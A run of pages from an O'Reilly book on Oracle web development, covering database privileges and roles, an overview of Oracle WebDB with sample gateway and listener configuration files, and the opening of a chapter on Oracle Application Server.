For example, suppose Alice in accounting wants to dump some of her work on Bob, who was recently demoted to clerk for destroying a production database. She can use the SQL GRANT command to give Bob's account (bob) privileges on tables she owns so that Bob can run various scripts:

GRANT SELECT ON employees TO bob;
GRANT INSERT ON employees TO bob;

Once Bob has the proper privilege, he can execute SELECT commands on Alice's table by using the table's fully qualified name:

SELECT * FROM alice.employees

Notice that Alice has withheld the DELETE privilege; Bob will get an error if he tries the DELETE statement.

Using Synonyms to Achieve Location Transparency

Occasionally, an object must be moved from one schema to another to accommodate new circumstances. For example, what happens if Alice is promoted and wants Cato (the new upstart in accounting) to own and maintain the employees table? Bob -- and anyone else using the table -- must update his scripts to reflect the table's new location. For this reason, it's a bad idea to embed an object's owner directly into a SQL or a PL/SQL statement.

Synonyms eliminate this problem. A synonym is simply an alias, or pointer, for another object. Used in place of a fully qualified object name, the synonym allows us to design systems that achieve location transparency. This is just a fancy way of saying that our programs do not depend on a particular account's owning a particular object. If an object is moved to a new owner, we can simply change the synonym in one place and everything will continue to work.

In the previous example, Bob could achieve location transparency by creating a synonym for the employees table:

CREATE SYNONYM employees_syn FOR
   alice.employees

He could then use the synonym name instead of making an explicit reference to the owning schema:

SELECT * FROM employees_syn;

When Alice moves the table to Cato, Bob can simply change the synonym to reflect the new location.

2.5.4 Roles

It would be a strange site indeed that let accountants control critical database objects. Instead, these objects are usually owned by a highly privileged account that is accessible to only the database administrator and a few trusted developers. The DBA creates less privileged accounts for average users and selectively grants them privileges based on their needs.

For example, an account named HR might own all the objects for the company's human resource management system. The DBA might create a view of the employees table and grant Bob's or Alice's account permission to query it. She might also create a separate account for data entry clerks with INSERT privileges on a few important tables. Finally, she might create an account for a web application that displays employee information stored in database snapshots. Ideally, each account has the minimum privileges it needs to fulfill its goal.

Managing these privileges by hand is a daunting task. Even a small company can have dozens of applications, hundreds of tables, and zillions of users. It is simply impossible for the DBA to manually grant the correct privileges to every user in a way that is convenient and safe. Remember, lurking in the back of every DBA's mind is the secret (and sometimes not so secret) fear that his or her users and developers are idiots who will drop critical tables just for kicks. It is crucial for both security and the DBA's sanity that each user have access to only what he or she needs.

This is where the concept of a database role comes to the rescue. A role is a collection of privileges grouped under a single name. Instead of granting privileges to individual users, the DBA grants them to a role. This role, in turn, is granted to the users that need the corresponding privileges. The DBA can add or revoke privileges from a role at any time, and these changes automatically flow to the users assigned to the role.

For example, the DBA might create a role called ACCOUNTANT and grant it selected privileges on tables and views owned by the HR account. The role reduces the maintenance on Alice's, Bob's, Cato's, and Xena's accounts to a single grant. Figure 2.3 shows a typical scenario in which roles are used to create access rights for various classes of users, such as pay clerks, managers, and receivables clerks.

Figure 2.3: A common use for roles

WARNING: When writing stored PL/SQL program units, such as packages, note that the compiler ignores the privileges granted through roles. To work around this problem you must either create the program in the account that owns the object or explicitly grant the necessary privilege to the account that owns the stored procedure. However, users can still execute procedures granted through roles.

A role is a database object just like any other. Assuming you have the CREATE ROLE privilege, you create a role with the following syntax:

CREATE ROLE role_name;

You then grant privileges on various objects to the new role, just as you would to a normal user. For example:

GRANT SELECT ON customers TO accts_pay_role;
GRANT SELECT ON cust_orders TO accts_pay_role;

Finally, you grant the role to individual users, treating the role as though it were a new privilege. For example:

GRANT ACCTS_PAY_ROLE TO bob;
GRANT ACCTS_PAY_ROLE TO cato;

Revoking a privilege from the role automatically revokes it from all the users assigned to the role.

2.5.5 Additional Security Precautions

In addition to database security features, there are three other security precautions worth noting, although we won't cover them in any detail. These include:

Secure Sockets Layer (SSL)

A standard for securing a web session by encrypting the traffic between a browser and a web server. The method relies on a digital certificate, a special file assigned to a site by a trusted source called a certification authority (CA). The CA generates the certificate and sends it to the web site. Browsers wishing to connect to the site must first download and accept the certificate, which is used in an encryption scheme to secure the subsequent traffic.

Firewall

A machine placed between two networks that controls what traffic can cross the boundary. Companies almost always have a firewall between their internal network and, for instance, the Internet. The firewall can be configured to block traffic originating from certain areas, let through certain types of traffic (for instance, HTTP) and reject others (Telnet traffic), and force users to supply a username and password before they can go through the firewall.

Advanced Networking Option (ANO)

A security server used to encrypt SQL*Net and Net8 traffic. This is useful in a web setting because (depending on the configuration of the firewall), users can establish a SQL*Net or Net8 connection over the Internet, allowing them to use tools like SQL*Plus. ANO secures the conversation.

Web security (and computer security in general) is a complex and broad subject that encompasses many different areas handled by different individuals. The DBA sets database security policies, system administrators check on operating system security, application developers build security features into their applications, and the network administrator designs hardware and software configurations to secure the network. Even the security guard at the front door has an important role in maintaining the physical security of your site.

TIP: No matter how you secure your system, you are still vulnerable to an attack. One of the simplest and most effective hacking techniques, social engineering, simply tricks people into revealing otherwise secure information through deception. For example, it's much easier to call an internal help desk and sweet-talk someone out of a password than to penetrate a secured system.

As an application developer, your main security duty is to make sure that your applications do as little as possible to compromise the system (for example, writing a web system that reveals a password list). In general, though, you'll have very little direct involvement in the other areas. While you'll certainly work with the DBA to gain privileges to various objects, you will probably not work with the network administrator (other than to listen to complaints about how the administrator doesn't have enough bandwidth for your application).

Previous: 2.4 Database Integration | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 3. WebDB
2.4 Database Integration | Book Index | 3. WebDB
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] WebDB

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 2.5 Database Security Review Chapter 3 Next: 3.2 WebDB Architecture

3. WebDB

Contents:
Overview of WebDB
WebDB Architecture

WebDB is a user-friendly tool for developing database-driven web applications and sites. You perform every WebDB task, from database administration to application development, using just a browser; everything in a WebDB site, from applications to content, can be stored inside a backend database.[1]

[1] Oracle calls this concept "100% in the browser, 100% in the database," meaning that everything is accessed with just a browser and stored in just a database.

Every WebDB component, from development tools to the database administrator toolkit, has an HTML user interface, eliminating the need for complex tools like Oracle Forms or Oracle Enterprise Manager (OEM). Because browsers are equipped with standard Internet protocols, WebDB client machines do not need SQL*Net or Net8; this allows WebDB sites to be run or administered from "thin-client" machines. WebDB can also take advantage of JavaScript-enabled browsers.

Everything in a WebDB site can be stored directly inside an Oracle database. This allows the site to be professionally administered and maintained using the same tools and techniques as for any other production Oracle database. As an added benefit, the site's performance can be monitored and improved through well-understood database tuning techniques. WebDB's "database-centric" approach helps application developers and DBAs leverage their current skills, rather than acquiring an entirely new and unfamiliar skill set.

How you use WebDB depends on your job. Database administrators can use WebDB to manage database objects, check database logs, and perform other DBA tasks. Application developers can use WebDB to create HTML-based web applications using a set of wizards that automatically build application components, like forms or reports. End users can use the WebDB components you create to view reports, fill out data entry forms, or view the content published by other users. Additionally, almost any user can use WebDB to publish web content on their own personal home page, as well as view content made available by other WebDB users.

Given the nature of the Web, these tasks are rarely mutually exclusive. For example, a DBA might want to upload "tips and tricks" to a page of her personal WebDB site. An application developer might want to monitor application performance or create database objects such as tables. An end user might want to create a report based on a SQL query (stranger things have been known to happen!).

In this chapter, I'll give you an overview of the different things you can do with WebDB, then look at the architecture that makes this all possible. As you read this chapter, keep in mind that WebDB itself is written entirely in PL/SQL. In many ways, it's the ultimate example of the power of combining HTML and PL/SQL into a web application.

3.1 Overview of WebDB

WebDB is divided into three broad categories: database administration, application development, and content-driven web site management. In the next three sections, we'll briefly look at each area with an eye towards seeing what the product does, though not necessarily how you perform each task.[2]

[2] The appendix, Resources for the Oracle Web Developer, contains a list of resources that provide complete, step-by-step instructions.

3.1.1 Database Administration

You can use WebDB to perform many routine database administration tasks using just a web browser, rather than a "fat client" like the Oracle Enterprise Manager suite of database management tools. For example, suppose you've gotten a call from Bob in accounting insisting that "my Internet doesn't work." Befuddled by your patient explanation that his statement makes absolutely no sense, he demands that you walk over to his desk and help him fix his problem. Since customer service has been added to your list of job performance metrics, you comply. When you arrive at Bob's desk, you realize that he has simply forgotten his password.

Since no one in his right mind would install SQL*Plus (much less OEM) on Bob's machine, you would normally have to trek back to your desk to reset his password, confirming Bob's darkest suspicions that you really don't know what you're doing. Fortunately, you can use WebDB's security management options to save yourself the trip. While you can't do everything from WebDB, you can perform many routine tasks, such as creating database objects, managing user accounts and security roles, and monitoring database performance. Since everything is accessible with just a browser, you can perform these tasks from almost any client, whether you're on-site or not.

The following sections briefly describe how you'd use WebDB to perform typical database administration tasks.

3.1.1.1 Browse database objects

You can use WebDB to view, or browse, the definitions for database objects. The browse capability of WebDB applies to all objects in a particular schema. Once you select the schema, WebDB displays a list of all the object types in the schema, such as tables, indexes, and views. Figure 3.1 shows the WebDB "Browse Database Objects" option.

Figure 3.1: Browsing database objects with WebDB

Selecting a specific object type (for example, Tables) presents you with a list of all objects of that type owned by the specified schema (for example, EMP and DEPT). Selecting a particular object either displays its definition or takes you to the "Edit Objects" option.

3.1.1.2 Administer WebDB and database security

WebDB security is built with Oracle's standard security model. There are three security components:

Users

WebDB users, whether they are created in WebDB or exist in the database beforehand, are simply Oracle schemas. For example, the SCOTT (assuming it exists) and SYS accounts appear as WebDB users, even though they have nothing to do with WebDB. Consequently, WebDB users are like any other Oracle account: you can log into them with SQL*Plus, manage them with Oracle Enterprise Manager, and access their schema objects with third-party tools like ODBC.

Privileges

WebDB object privileges are Oracle object privileges. In addition to the native system and object privileges, WebDB introduces two additional, non-native privileges, build-in and browse-in privileges, that allow multiple users to access WebDB components. The build-in privilege, which is like the ANY option in a system privilege, allows a WebDB user or role to create user interface components in another user's schema. The browse-in privilege allows a user or role to access the user interface components owned by another schema. These privileges are implemented as rows in WebDB's data dictionary tables.

Roles

WebDB roles are database roles. These roles are used in conjunction with the build-in and browse-in privileges; when you assign a WebDB user a role, you not only assign a corresponding database role but also a WebDB-specific privilege. For this reason, you should assign roles using the WebDB interface, and not through OEM or SQL*Plus.

Figure 3.2 shows WebDB's "Create a New User" section of the "User Manager" option.

Figure 3.2: Creating a user with WebDB

3.1.1.3 Monitor database and application performance

WebDB maintains both application and database logs to help you tune performance. The application logs contain information about the frequency with which WebDB is used. The database logs contain traditional database metrics, such as memory usage and the status of the redo logs.

Each kind of log is used to create a number of reports. Reports generated by the application log include application component response times, user requests per component, and user requests by hour. Reports generated by the database log include database parameters, redo logs, and rollback segments. Most of these reports can have several different formats, such as a chart or a table; you can even download them directly into a spreadsheet and create your own graphs! Figure 3.3 shows a chart of the size of a database's datafiles.

Figure 3.3: A WebDB chart

3.1.2 Application Development

WebDB applications consist of database objects, like tables and views, and user interface components, like forms and reports. For example, a simple application might consist of a database table, a data entry form to populate the table, and a report that queries the table and displays the results. Users use a web browser to access the form or report.

To simplify the development process, WebDB has a number of wizards that are analogous to the wizards in Microsoft Office. A wizard is a series of screens that create an application component based on information you provide. There are three kinds of wizards: database object wizards, user interface (UI) component wizards, and shared component wizards. In addition, since WebDB includes the PL/SQL toolkit, you can build your own custom components and applications. The following sections describe these wizard types.

3.1.2.1 Building database objects

WebDB's "Object Wizards" option guides you through the steps needed to create a database object. For example, the Table wizard option takes you through four screens. On the first screen, you select the schema in which to create the table and table name. On the second screen, which is reminiscent of Oracle Schema Manager (a GUI management tool included with Oracle Enterprise Manager that simplifies schema administration), you define each of the table's columns, providing such information as a column name and datatype. On the third screen, you define the table's storage parameters, such as its tablespace and number of initial extents. The final screen allows you to confirm the table definition; clicking the "Ok" button creates the table.

WebDB has the following database object wizards:

Function wizard

Template for the CREATE FUNCTION statement. A function is a group of instructions stored directly in the database. It returns a single value to the program that calls it. The function definition can contain parameters.

Index wizard

Template for the CREATE INDEX statement. An index is used to improve performance in SQL queries.

Package wizard

Template for the CREATE PACKAGE statement. A package is a group of variables, procedures, and functions stored directly in the database. A package has two parts: a specification and a body. The specification lists the package's public variables, procedures, and functions. The body contains the actual program code for each procedure. Packages are used to mimic many of the design concepts found in object-oriented languages, such as overloading and encapsulation.

TIP: The database objects you create in WebDB are normal database objects; the wizard is simply filling in the different pieces of a SQL statement for you. If you're developing an application you can bypass the wizard entirely and create objects in SQL*Plus, Enterprise Manager, or any other tool. The "Object Wizards" option comes in handy, though, when you're off-site and can't get a SQL*Net connection.

Procedure wizard

Template for the CREATE PROCEDURE statement. A procedure is a group of instructions stored directly in the database that performs a specific task. The procedure definition can include parameters.

Sequence wizard

Template for the CREATE SEQUENCE statement. A sequence is a counter that is often used to provide primary key values.

Synonym wizard

Template for the CREATE SYNONYM statement. A synonym is used to provide an alias to another database object, usually to provide location transparency.

Table wizard

Template for the CREATE TABLE statement. A table is a collection of columns and rows that store data in the database.

Trigger wizard

Template for the CREATE TRIGGER statement. A trigger is a group of instructions that execute in response to a specific table event, such as an insert or a delete. Triggers are often used to set a row's primary key (based on a sequence) or update its timestamp.

Type wizard

Template for the CREATE TYPE statement. A type is a data structure much like a record stored directly in the Oracle database that provides object-like capabilities inside the database.

View wizard

Template for the CREATE VIEW statement. A view is a stored SQL query that acts like a table. Views are used to simplify complex queries for end user reporting tools. They are also used for security purposes to restrict access to a subset of columns in an important table.

Figure 3.4 shows the table wizard.

Figure 3.4: Creating a table with WebDB

3.1.2.2 Building user interface components

Once you've created a database object, you can use WebDB's user interface (UI) wizards to create user interface components such as data entry forms or reports. After you've stepped through a series of screens in which you define the components' properties, the wizard creates a PL/SQL stored package to implement the user interface.

There are eight user interface wizards:

Calendar wizard

Creates an HTML-based calendar using information stored in a table. You could use the calendar wizard to create an HTML-based "to-do" list displayed in a format that looks like a monthly calendar.

Chart wizard

Creates a bar chart based on information in either a database table or a SQL query.

Dynamic page wizard

Allows you to create standard HTML pages that can contain SQL and PL/SQL commands embedded inside a special <ORACLE> tag, as in:

<ORACLE>SELECT * FROM emp</ORACLE>
Form wizard

Creates several different kinds of HTML forms, such as forms that execute stored procedures, forms that perform standard table operations like inserts or updates, master detail forms, and Query by Example (QBE) forms.

Frame driver wizard

Creates a split screen containing two HTML frames. The first frame (the "navigation" frame) contains a list of hyperlinks based on a query you provide. Clicking one of these links will display the page in the second frame (the "target").

Hierarchy wizard

Creates a drill-down based on information on the parent-child relationships in a recursively defined table.

Menu wizard

Allows you to create parent-child menu structures. The menu wizard is very similar to the hierarchy wizard.

Report wizard

Creates a report based on a table or SQL query. You can display reports as HTML pages or ASCII files, or you can download them directly into an Excel spreadsheet. Figure 3.5 shows the report wizard in action.

Figure 3.5: Formatting the columns of a WebDB report

3.1.2.3 Building shared components

After you've created your interfaces, you can use the shared component wizards to create a library of reusable components that ensure a consistent design across the application. A cardinal rule of interface design is that there should be a consistent look and feel across an application's screens and reports. Unfortunately, this goal is often very difficult to reach, especially for systems that have many developers. For example, suppose you and several other programmers are building a document management system. Each screen in the system must have a Search option that the user activates by clicking an icon. You, as an avid outdoors person, would like to use a pair of binoculars as the icon. Another person wants to use a magnifying glass, and yet another wants to use a picture of a blue-tick hound dog. How do you make sure everyone does the same thing?

Rather than leaving these sorts of choices to the vagaries of each developer, many companies use a library of standardized components. Each component has a name, such as SEARCH_BUTTON, that represents a real item, such as a picture of bloodhound. When a developer needs to put a search button on a form, she uses the named component, rather than a real icon. This guarantees a reasonable degree of consistency across a wide range of applications.

To simplify the often tedious process of standardization, WebDB allows you to create reusable application elements called shared component libraries. The basic idea of a shared component is that it associates a logical name with a physical object. Developers can include these shared components in their UI components. There are seven shared component libraries:

Colors library

A named Red, Green, Blue (RGB; a common way to specify a color) color combination. For example, you can associate the RGB color #9F9F5F with the name Khaki.

Fonts library

A named font. For example, you might want to associate the Arial font with the name INVOICE_FONT to enforce a consistent look across reports in an invoicing system.

Images library

A named image.

JavaScripts library

A named JavaScript script. You can use this component to build a library of client-side scripts that developers can reuse in their applications. For example, you might create a library of field validation scripts.

Links library

A named hyperlink. You can use this component to make sure that hyperlinks leading to the same location all use a consistent name. For example, you might want to create a named hyperlink to an online help system to guarantee that every application uses a consistent link name. Additionally, you use links to bind various WebDB components together into a single system. For example, in an employee data entry component of a human resources system, you might want to create links to employee educational history, salary history, and W2 information. Finally, you can use links to create hooks to PL/SQL procedures you develop with the PL/SQL toolkit.

Lists of Values library

A named List of Values (LOV). You can use this component to create a variety of styles of lists (such as radio buttons, select lists, and pop-up windows) based on an underlying database table, view, or SQL query. For example, you might want to create a list called ACTIVE_EMPLOYEES to allow a user to select from a predefined list of valid employees.

UI templates library

A named page layout template. You can use this component to create a standard page format for each page in an application.

Figure 3.6 shows the LOV wizard being used to create a pop-up List of Values.

Figure 3.6: Creating a list of values in WebDB

3.1.2.4 Building custom components

While application generators are wonderful time savers, they almost always get just the first 80% of an application's requirements, leaving you to code the remaining 20% by hand. And what if you want to write an application for which WebDB doesn't have an associated wizard? For example, there is no shopping cart wizard, so if you want to create an electronic storefront application, you must write it from scratch.

WebDB includes the PL/SQL toolkit software development kit (SDK) to allow you to write your own web applications. This is the same set of packages that comes with OAS, so anything you develop in WebDB will also work in OAS, and vice versa. Subsequent chapters detail how to use these systems to develop your own applications.

3.1.3 Content-Driven Web Site Management

WebDB's third major function is creating content-driven web sites. The advantage of content-driven sites deriving from database information is that you can completely change and rearrange the sites and their content with a few mouse clicks. Filesystem-based sites, on the other hand, are much more difficult to modify because they have a more rigid structure. The most interesting thing about WebDB sites is that they not only allow users to view information already in the database, but also let users add their own content to the site. For example, a user could upload an Excel spreadsheet to his personal site and make it available without the webmaster's help.

Consistent with WebDB's "100% in the browser, 100% in the database" philosophy, every feature is accessed with a browser and all content is stored in an Oracle database (with a few exceptions, such as images, which can also be stored as files). WebDB uses this information to create a hierarchical view of the entire site, making user uploads available to users with the appropriate privileges. In this section, we'll look at three of WebDB's features for creating content-driven web sites: its options allowing users to publish their own content, its features for organizing and managing the content, and its methods for controlling who can access the content.

3.1.3.1 User-uploaded content

WebDB's most unique and innovative feature is that it allows users to add their own web content directly from their browsers, effectively eliminating the bottleneck of requiring the webmaster to manually add new content. Each user is assigned his or her own personal web folder to which he or she can add various kinds of content (depending on the privileges granted by the site administrator). Additionally, if given the proper privilege, users can contribute content to folders owned by other users.

Users add content from the WebDB dashboard. The dashboard is a set of options available at the top of every page that allows users to (among other things) add an item, create a new subfolder, change a folder's properties (such as its name and description), and allow other WebDB users to access a folder's content. Users can contribute the following items:

File

A standard file, such as a Word or Excel document, that is uploaded to a database table. WebDB is integrated into the interMedia Text cartridge, which automatically indexes it for later searching.

Folderlink

A hyperlink to another WebDB folder.

Imagemap

A standard imagemap.

PL/SQL call

A call to a PL/SQL procedure; for example, a call to one of the custom PL/SQL applications we'll develop later in this book.

Text item

A plain text message that displays on the page. A user can use this item to quickly and easily post messages for the site.

URL

A generic hyperlink to another site. For example, a user could enter a list of favorite sites on the Web.

WebDB component

Creates a hyperlink to a WebDB user interface component. For example, a user could create a link to a report. Optionally, you can also configure WebDB to place the component on the page, rather than just a hyperlink.

Figure 3.7 shows the screen used to upload a file to a WebDB site.

Figure 3.7: Uploading a file to a WebDB site

3.1.3.2 Managing content

Once users have added content to their site, you can manage it as you would any other information stored in an Oracle database. For example, you can create a backup schedule, see how much space each user consumes, and audit changes to the site's content. In short, you can apply all your organization's hard-won data management skill to Internet content.

In addition, you can organize site content so that it's easy for users to find. WebDB has three basic ways to do this:

Folders

As we've already seen, users can have individual folders to which they can upload content. You can also create project- or application-specific folders. For example, WebDB includes a demo application called "The Traveler," an example of a database-driven travel site. Behind the scenes, WebDB's folders are really just rows in a table; uploaded items include the primary key for the row in the folder table. The folder table is defined recursively (i.e., parent/child rows) to represent subfolders.

Categories

Each item is assigned to a single category that identifies its general type. For example, the "The Traveler" demo uses travel-related categories, such as Flights, Lodging, Restaurants, and Travel packages. These categories let users search for specific kinds of items, such as "Restaurants that serve seafood."

Perspectives

Users can also assign multiple perspectives to further categorize an item. Unlike a category, which defines what an item is, a perspective defines who might be interested in it. For example, "The Traveler" demo might have the perspectives Food Connoisseurs, Outdoor Enthusiasts, or History Buffs. Users can then search for items of interest to them, for example, "Restaurants that serve seafood of gourmet quality."

A user can rearrange a site on the fly by changing each item's categories and perspectives. Figure 3.8 shows WebDB's Site Map, a hierarchical list of all folders.

Figure 3.8: The Site Map, a list of all folders in WebDB

3.1.3.3 Controlling access to content

The WebDB site administrator assigns access privileges to information in the site. The administrator can manipulate the following WebDB settings:

Group

Allows the site administrator to define named groups of users, analogous to roles, that are used to easily assign web content to multiple users. Groups, however, are modeled in database tables and are not actual database roles.

Privilege

Allows the site administrator to add and manage WebDB site users. This is pretty much the same set of privileges used in the Oracle database, with some additional privileges for managing content. These include the ability to administer a site, add news items, and change the site's look and feel.

Previous: 2.5 Database Security Review | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 3.2 WebDB Architecture
2.5 Database Security Review | Book Index | 3.2 WebDB Architecture
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.2 WebDB Architecture

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

3.2 WebDB Architecture

Because WebDB uses the database's native components, it is a scalable, powerful development tool for building content-driven sites on Oracle. Since it's essentially written in the database's native language, it eliminates the need for cumbersome layers like ODBC or JDBC.

WebDB's dirty little secret is that its wizards are really just PL/SQL code generators that act on normal database objects. When you create a user with WebDB, you are really creating a corresponding database schema, just as you would for any other Oracle user. When you use the table wizard, you are really just filling in the pieces of a CREATE TABLE command. When you build a form, you are really creating a PL/SQL package. The options you enter into these wizards tell WebDB how to create the corresponding database objects.

WebDB is a standalone product that contains everything you need to create a complete application. Two built-in components -- the PL/SQL gateway and the HTTP listener -- make this possible. Figure 3.9 illustrates the relationships among the database objects, UI components, shared components, roles, users, the PL/SQL gateway, and the HTTP listener.

Figure 3.9: The components of WebDB

In the following sections, we'll look at WebDB's PL/SQL gateway and its integrated HTTP listener.

3.2.1 The PL/SQL Gateway

Once we've created our WebDB user interface components, we can use the PL/SQL gateway to execute them from the Web. The gateway is situated between the database and the HTTP listener. The HTTP listener forwards a request for a component to the PL/SQL gateway, which executes the procedure and stores its output in a buffer. The HTTP listener then sends the contents of this buffer, which now contains the HTML instructions that create the component, back to the user's browser.

Users call a procedure using a URL that specifies the name of the package (which has the same name as the component), the procedure to execute, and any parameters required by the procedure. The PL/SQL gateway uses this information to call the correct procedure. Each procedure begins with a security check to make sure the user attempting to access the component has the required permissions.

The gateway uses DADs to authenticate web users. A DAD is a unique name included as part of a URL. The appearance of a DAD name in the URL signals the HTTP listener that the URL is requesting a WebDB component. The PL/SQL gateway combines the DAD configuration information with the other parts of the URL -- the package name, procedure name, and parameters -- to execute the requested procedure. The URL syntax is:

http://webDB_server:port/dad_name/package.procedure?parm1=foo

3.2.2 Configuring a Database Access Descriptor (DAD)

The DAD configuration information specifies a unique name for the DAD and various other configuration information. Again, the name of the DAD is used in the URL to map to the database schema specified in the DAD. Figure 3.10 shows the WebDB interface used to manage these settings (in this case, WebDB appears in the path section of the URL to the WebDB server).

Figure 3.10: DAD administration in WebDB

3.2.2.1 DAD parameters

The DAD parameters are:

Database Access Descriptor Name

The unique DAD name. When it appears in a URL, the DAD name signals the HTTP listener to forward the request to the PL/SQL gateway. This parameter is always required.

Oracle User Name

The Oracle schema that will execute the procedure. If this name is blank, the user is prompted for a username and password.

Oracle Password

The password for the Oracle schema. If this is blank, the user is prompted for authentication information.

Oracle Connect String

The connect string of the database running WebDB. The local database (ORA_SID) is used as the default if the field is left blank.

Maximum Number of Worker Threads

The maximum number of threads the WebDB server will use to process requests.

Keep Database Connection Open between Requests?

If this parameter is set to "yes," the listener keeps the database connection open after the request is finished. The next time the user makes a request from the DAD, the listener can open the connection rather than establishing a new one. This improves performance dramatically, since establishing the initial connection is usually quite time consuming. However, this is not the same as a persistent connection; state information such as the values of PL/SQL variables is lost after the request. If the parameter is set to "No," the connection is closed after each request, resulting in poorer performance.

Default (Home) Page

The default procedure to execute when the URL omits a procedure name.

Document Table

The table used to store files uploaded to WebDB.

Document Access Path

The path element used to retrieve an uploaded file.

Document Access Procedure

The procedure to execute immediately after an uploaded file is retrieved.

TIP: WebDB uses basic authentication, a standard HTTP mechanism in which the user must supply a username and password before accessing the site. The password is transmitted as plain text (unencrypted) across the Web, making it fairly insecure. A second method, digest authentication, is more secure because it encrypts the password before transmission. Unfortunately, while this method is supported in OAS, it is not (at least at the time of this writing) supported in WebDB.

3.2.2.2 Configuration file

The configuration information for the PL/SQL gateway is stored in the file %ORACLE_HOME%/listener/wdbsvr.app. Here's an example configuration file that underlies the entries in Figure 3.10:

[DAD_WebDB]
;connect_string   =
;password   =
;username   =
default_page   =  WEBDB.home
document_table   =  WEBDB.wwv_document
document_path   =  docs
document_proc   =  WEBDB.wwv_testdoc.process_download
;name_prefix   =
;always_describe   =
;after_proc   =
reuse   =  Yes
connmax   =  4
;

3.2.3 The HTTP Listener

The HTTP listener, the last major component of WebDB, is basically a miniature web server. It has the following characteristics:

  • It supports HTTP 1.0.

  • It can serve static files residing in mapped directories.

  • It supports application-specific MIME type mapping.

  • It is multithreaded to provide increased performance.

  • It is specifically designed to integrate with the Oracle database via PL/SQL applications. Although the listener was added to make WebDB a standalone product, it can be used to develop any PL/SQL toolkit application.

  • It does not currently (as of WebDB version 2.0.5) support HTTP 1.1, SSL, or CGI; Oracle is considering adding support for SSL, CGI, Java(TM) Servlets, Java Server Pages, and XML.

The HTTP listener configuration parameters fall into three general categories: server settings, virtual directory mappings, and MIME type mappings.

3.2.3.1 Server settings

The server settings govern the listener's general behavior. Parameters of note include:

Server Port

The port setting determines the communications port on which WebDB "listens" for incoming requests. The default is 80. If you choose another value, URLs referencing the site must specify this value.

Default Mime Type

The default MIME type returned for types that are not explicitly mapped.

Logging Level

The listener maintains a number of logs that can track requests and errors. There are separate log files for the listener and PL/SQL gateway, as well as for each thread. Log files all end with a .LOG extension; log files for individual threads include the thread number as an index. Values for the logging level include:

None

No logging

Standard

Log requests using standard NCSA format

Extended

Log requests using extended NCSA format

Error

Log requests using NCSA format, including extended error information

3.2.3.2 Virtual directory mappings

The virtual directory mappings allow the listener to return static files by mapping physical directories to aliases used as part of a URL. Mappings are made using multiple name/value pairs consisting of:

Physical directory

The physical directory on the machine running WebDB. Once mapped, all files and subdirectories are accessible from the Web.

Virtual directory

The corresponding alias for the physical directory. This alias is used as part of the URL to refer to a physical directory.

3.2.3.3 MIME type mappings

The MIME type mappings map a specific type of file to a MIME type. The listener is preconfigured with most of the standard mappings (e.g., image/jpeg to files with the .JPG extension). You can extend these defaults with your own mappings (e.g., application/rpt to files with the .RPT extension). Mappings are made using multiple name/value pairs consisting of:

MIME type

The MIME type returned for the specified set of corresponding file extensions.

File extension

The file extensions mapped to the MIME type. These mappings are case sensitive, so you will often find the same extension listed in various ways (e.g., .jpg, .JPG, .jpeg, .JPEG).

3.2.3.4 Configuration file

The configuration information for the HTTP listener is stored in the file %ORACLE_HOME%/listener/wdbsvr.cfg. The following listing is an example configuration file:

;
[SERVER]
;HomePage =
DefaultMimeType = application/octet-stream
LoggingLevel = Extended
;MaxFileCache =
MaxFileThreads = 3
MaxDispatcherThreads = 7
;
[DirMaps]
D:\ORANT\webdb\images\  /images/
;
[MIMETypes]
text/html  htm   html
image/jpeg  jpg   jpeg  JPG
text/plain  txt   ksh   lst
application/pdf  pdf
application/powerpoint  ppt   PPT
application/msword  doc   dot   DOC  DOT
application/x-tar  tar   TAR
application/zip  zip
text/edi  edi
application/excel  xls   XLS
text/xml  xml
;

WebDB is a big product with a huge set of features, and this overview has just scratched the surface of its many capabilities. WebDB comes with several manuals providing step-by-step instructions on configuring and using the product. Additionally, you can consult Rick Greenwald's Oracle WebDB Bible (IDG Books Worldwide) for a thorough treatment of the subject.

Previous: 3.1 Overview of WebDB | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 4. Oracle Application Server (OAS)
3.1 Overview of WebDB | Book Index | 4. Oracle Application Server (OAS)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] Oracle Application Server (OAS)

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 3.2 WebDB Architecture Chapter 4 Next: 4.2 Creating Dynamic Resources

4. Oracle Application Server (OAS)

Contents:
How OAS Returns Web Resources
Creating Dynamic Resources

Oracle Application Server (OAS) is Oracle's enterprise web platform. While OAS performs all the functions of a normal web server, its main advantage is its tight integration with a backend Oracle database. After starting life with the name Oracle Webserver at version 1, then becoming Oracle Web Application Server at version 3, the Oracle Application Server, now at version 4, has steadily grown in size and features.

TIP: The resources required to run OAS have increased along with the new features. For example, the memory requirements (on NT, at least) went from 48 MB in version 3 to 128 MB in version 4.

In this chapter, we'll look at the architectural components of OAS as they relate to PL/SQL application development. Be sure that you've read Chapter 2, Foundations, which introduces the basic concepts behind the web infrastructure on which OAS is built. We'll start with a discussion of how OAS returns web resources to a user's browser. Then we'll look at the PL/SQL cartridge, an OAS component we can use to develop PL/SQL applications.

4.1 How OAS Returns Web Resources

OAS has three methods to return resources. The first simply uses a directory mapping system to send static files to the client's browser. The next two methods return dynamic resources: one executes resources using the standard CGI interface, and the other, the Web Request Broker (WRB), executes resources using a program called a cartridge.

